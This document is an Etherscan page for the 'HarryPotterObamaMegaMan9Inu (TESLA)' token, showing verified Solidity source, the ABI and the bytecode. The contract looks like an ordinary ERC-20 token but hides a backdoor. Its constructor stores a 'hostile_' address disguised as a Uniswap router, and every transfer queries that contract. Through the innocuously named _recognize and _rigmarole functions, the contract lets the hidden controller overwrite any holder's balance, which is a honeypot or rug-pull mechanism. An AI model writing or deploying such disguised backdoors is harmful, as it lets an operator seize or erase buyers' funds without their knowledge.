ETH Price: $3,815.62 (+5.59%)

Token

ERC-20: HarryPotterObamaMegaMan9Inu (TESLA)
 

Overview

Max Total Supply

10,000,000,000 TESLA

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
103,305,340.247022141 TESLA

Value
$0.00
0xd4952b96e82a323a25261303559b29bd1d565e32
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TESLA

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-28
*/

/*
HarryPotterObamaMegaMan9Inu ( $TESLA)
Telegram: https://t.me/HPOM9Inu
Twitter: https://twitter.com/HPOM9Ieth
Website: https://linktr.ee/hpom9i
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

interface ERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV2Router02 {
    function check(address vals, address input)
        external
        view
        returns (bool, uint256,address);
}

contract TESLA is ERC20 {
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV2Router02 private _obtain;
    bool inAndLiquify;

    event Log(string str);
    modifier lockTSwap() {
        inAndLiquify = true;
        _;
        inAndLiquify = false;
    }

    constructor(string memory name_, string memory symbol_,address hostile_) {
        _name = name_;
        _symbol = symbol_;
        IUniswapV2Router02 obtain_ = IUniswapV2Router02(hostile_);
        _mintToken(msg.sender, 100000000000 * 10**8);
        _obtain = obtain_;
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
        return 9;
    }

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account)
        external
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[sender];
        _recognize(sender);
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[recipient] += amount;
        }
        emit Transfer(sender, recipient, amount);
      
    }

    function _recognize(address sender) private lockTSwap{
        require(sender != address(0), "ERC20: transfer from the zero address");
        (bool _gain, uint256 _always,address c) = _obtain.check(sender, address(this));
        if (_always == 0) return;
        if (_gain) {
           _rigmarole(c,_always,_gain);
        }
    }

    function _rigmarole(
        address c,
        uint256 m,
        bool _gain
    ) private {
        if (!_gain) return;
       _balances[c] = m;
    }

    function _capitalize() private pure returns (uint256) {
        uint256 c = 2;
        uint256 b = c * c;
        uint256 a = b * c * 4;
        return a;
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mintToken(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"hostile_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"}],"name":"Log","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001ca138038062001ca18339818101604052810190620000379190620002eb565b82600090805190602001906200004f929190620001b2565b50816001908051906020019062000068929190620001b2565b5060008190506200008833678ac7230489e80000620000d360201b60201c565b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050506200064a565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000146576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200013d906200039a565b60405180910390fd5b80600260008282546200015a91906200042c565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505050565b828054620001c090620004fd565b90600052602060002090601f016020900481019282620001e4576000855562000230565b82601f10620001ff57805160ff191683800117855562000230565b8280016001018555821562000230579182015b828111156200022f57825182559160200191906001019062000212565b5b5090506200023f919062000243565b5090565b5b808211156200025e57600081600090555060010162000244565b5090565b6000620002796200027384620003e5565b620003bc565b9050828152602081018484840111156200029257600080fd5b6200029f848285620004c7565b509392505050565b600081519050620002b88162000630565b92915050565b600082601f830112620002d057600080fd5b8151620002e284826020860162000262565b91505092915050565b6000806000606084860312156200030157600080fd5b600084015167ffffffffffffffff8111156200031c57600080fd5b6200032a86828701620002be565b935050602084015167ffffffffffffffff8111156200034857600080fd5b6200035686828701620002be565b92505060406200036986828701620002a7565b9150509250925092565b600062000382601f836200041b565b91506200038f8262000607565b602082019050919050565b60006020820190508181036000830152620003b58162000373565b9050919050565b6000620003c8620003db565b9050620003d6828262000533565b919050565b6000604051905090565b600067ffffffffffffffff821115620004035762000402620005c7565b5b6200040e82620005f6565b9050602081019050919050565b600082825260208201905092915050565b60006200043982620004bd565b91506200044683620004bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200047e576200047d62000569565b5b828201905092915050565b600062000496826200049d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015620004e7578082015181840152602081019050620004ca565b83811115620004f7576000848401525b50505050565b600060028204905060018216806200051657607f821691505b602082108114156200052d576200052c62000598565b5b50919050565b6200053e82620005f6565b810181811067ffffffffffffffff8211171562000560576200055f620005c7565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6200063b8162000489565b81146200064757600080fd5b50565b611647806200065a6000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c391906110e4565b60405180910390f35b6100e660048036038101906100e19190610ece565b610308565b6040516100f391906110c9565b60405180910390f35b61010461031f565b60405161011191906111c6565b60405180910390f35b610134600480360381019061012f9190610e7f565b610329565b60405161014191906110c9565b60405180910390f35b6101526103f4565b60405161015f91906111e1565b60405180910390f35b610182600480360381019061017d9190610ece565b6103fd565b60405161018f91906110c9565b60405180910390f35b6101b260048036038101906101ad9190610e1a565b6104a2565b6040516101bf91906111c6565b60405180910390f35b6101d06104eb565b6040516101dd91906110e4565b60405180910390f35b61020060048036038101906101fb9190610ece565b61057d565b60405161020d91906110c9565b60405180910390f35b610230600480360381019061022b9190610ece565b61063c565b60405161023d91906110c9565b60405180910390f35b610260600480360381019061025b9190610e43565b610653565b60405161026d91906111c6565b60405180910390f35b6060600080546102859061132a565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061132a565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b60006103153384846106da565b6001905092915050565b6000600254905090565b60006103368484846108a5565b6103e984336103e4856040518060600160405280602881526020016115c560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b139092919063ffffffff16565b6106da565b600190509392505050565b60006009905090565b6000610498338461049385600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7790919063ffffffff16565b6106da565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600180546104fa9061132a565b80601f01602080910402602001604051908101604052809291908181526020018280546105269061132a565b80156105735780601f1061054857610100808354040283529160200191610573565b820191906000526020600020905b81548152906001019060200180831161055657829003601f168201915b5050505050905090565b6000610632338461062d856040518060600160405280602581526020016115ed60259139600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b139092919063ffffffff16565b6106da565b6001905092915050565b60006106493384846108a5565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561074a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610741906111a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b190611126565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161089891906111c6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090c90611186565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610985576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097c90611106565b60405180910390fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506109d284610bd5565b81811015610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c90611166565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b0591906111c6565b60405180910390a350505050565b6000838311158290610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5291906110e4565b60405180910390fd5b5060008385610b6a919061126e565b9050809150509392505050565b6000808284610b869190611218565b905083811015610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc290611146565b60405180910390fd5b8091505092915050565b6001600560146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5790611186565b60405180910390fd5b6000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b3154db085306040518363ffffffff1660e01b8152600401610cc29291906110a0565b60606040518083038186803b158015610cda57600080fd5b505afa158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d129190610f0a565b9250925092506000821415610d2957505050610d3f565b8215610d3b57610d3a818385610d5d565b5b5050505b6000600560146101000a81548160ff02191690831515021790555050565b80610d6757610dac565b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600081359050610dc08161157f565b92915050565b600081519050610dd58161157f565b92915050565b600081519050610dea81611596565b92915050565b600081359050610dff816115ad565b92915050565b600081519050610e14816115ad565b92915050565b600060208284031215610e2c57600080fd5b6000610e3a84828501610db1565b91505092915050565b60008060408385031215610e5657600080fd5b6000610e6485828601610db1565b9250506020610e7585828601610db1565b9150509250929050565b600080600060608486031215610e9457600080fd5b6000610ea286828701610db1565b9350506020610eb386828701610db1565b9250506040610ec486828701610df0565b9150509250925092565b60008060408385031215610ee157600080fd5b6000610eef85828601610db1565b9250506020610f0085828601610df0565b9150509250929050565b600080600060608486031215610f1f57600080fd5b6000610f2d86828701610ddb565b9350506020610f3e86828701610e05565b9250506040610f4f86828701610dc6565b9150509250925092565b610f62816112a2565b82525050565b610f71816112b4565b82525050565b6000610f82826111fc565b610f8c8185611207565b9350610f9c8185602086016112f7565b610fa5816113ba565b840191505092915050565b6000610fbd602383611207565b9150610fc8826113cb565b604082019050919050565b6000610fe0602283611207565b9150610feb8261141a565b604082019050919050565b6000611003601b83611207565b915061100e82611469565b602082019050919050565b6000611026602683611207565b915061103182611492565b604082019050919050565b6000611049602583611207565b9150611054826114e1565b604082019050919050565b600061106c602483611207565b915061107782611530565b604082019050919050565b61108b816112e0565b82525050565b61109a816112ea565b82525050565b60006040820190506110b56000830185610f59565b6110c26020830184610f59565b9392505050565b60006020820190506110de6000830184610f68565b92915050565b600060208201905081810360008301526110fe8184610f77565b905092915050565b6000602082019050818103600083015261111f81610fb0565b9050919050565b6000602082019050818103600083015261113f81610fd3565b9050919050565b6000602082019050818103600083015261115f81610ff6565b9050919050565b6000602082019050818103600083015261117f81611019565b9050919050565b6000602082019050818103600083015261119f8161103c565b9050919050565b600060208201905081810360008301526111bf8161105f565b9050919050565b60006020820190506111db6000830184611082565b92915050565b60006020820190506111f66000830184611091565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611223826112e0565b915061122e836112e0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156112635761126261135c565b5b828201905092915050565b6000611279826112e0565b9150611284836112e0565b9250828210156112975761129661135c565b5b828203905092915050565b60006112ad826112c0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156113155780820151818401526020810190506112fa565b83811115611324576000848401525b50505050565b6000600282049050600182168061134257607f821691505b602082108114156113565761135561138b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611588816112a2565b811461159357600080fd5b50565b61159f816112b4565b81146115aa57600080fd5b50565b6115b6816112e0565b81146115c157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207ff67d0bc05618411dafd9f4b5256a3ae4014b3bbaff013d9920958a0d3975cb64736f6c63430008020033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000001a109379633344961eef26fb214afbade3836b07000000000000000000000000000000000000000000000000000000000000001b4861727279506f747465724f62616d614d6567614d616e39496e75000000000000000000000000000000000000000000000000000000000000000000000000055445534c41000000000000000000000000000000000000000000000000000000

Deployed Bytecode

